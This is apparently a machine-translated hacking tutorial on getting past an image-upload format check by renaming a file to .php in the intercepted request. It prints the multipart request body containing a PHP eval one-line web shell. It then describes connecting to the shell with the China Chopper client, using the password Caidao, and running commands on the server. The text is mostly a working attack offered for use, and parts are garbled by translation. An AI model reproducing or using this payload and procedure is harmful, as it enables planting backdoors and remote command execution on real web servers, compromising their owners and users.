Bypass picture format limit upload Trojan get Webshell

Ideas:

In the image upload function, the front page uploads the image file in. png format, but the change picture suffix in the grab request is. php

can bypass the upload file format restrictions, the file upload path can be on the uploaded page or view after the upload successful response in the show,

after recording, use a kitchen knife to connect.

(1) Web site requires uploading files in PNG format

(2) Save-grab package, file suffix. png deleted, remaining. php file continues to submit, prompting for success.

Content-disposition:form-data; Name="Fun_menu_icon"test123trojan.php-----------------------------1962884403821Content-disposition:form-data; Name="Fun_menu_icon_upload"; Filename="test123trojan.php"Content-type:image/PNG<?php @eval ($_post['Caidao']);?>-----------------------------1962884403821Content-disposition:form-data; Name="fun_menu_img"test123trojan.php-----------------------------1962884403821Content-disposition:form-data; Name="Fun_menu_img_upload"; Filename="test123trojan.php"Content-type:image/PNG<?php @eval ($_post['Caidao']);?>

(3) Find the upload path and record in the response page after the original data submission page or after submitting the data.

(4) Open the latest version of Chinese kitchen knife, add the path that has been recorded, add password Caidao

(5) Connect the virtual terminal, enter ipconfig

　　　

Trojan successfully uploaded and executed.

Bypass picture format limit upload Trojan get Webshell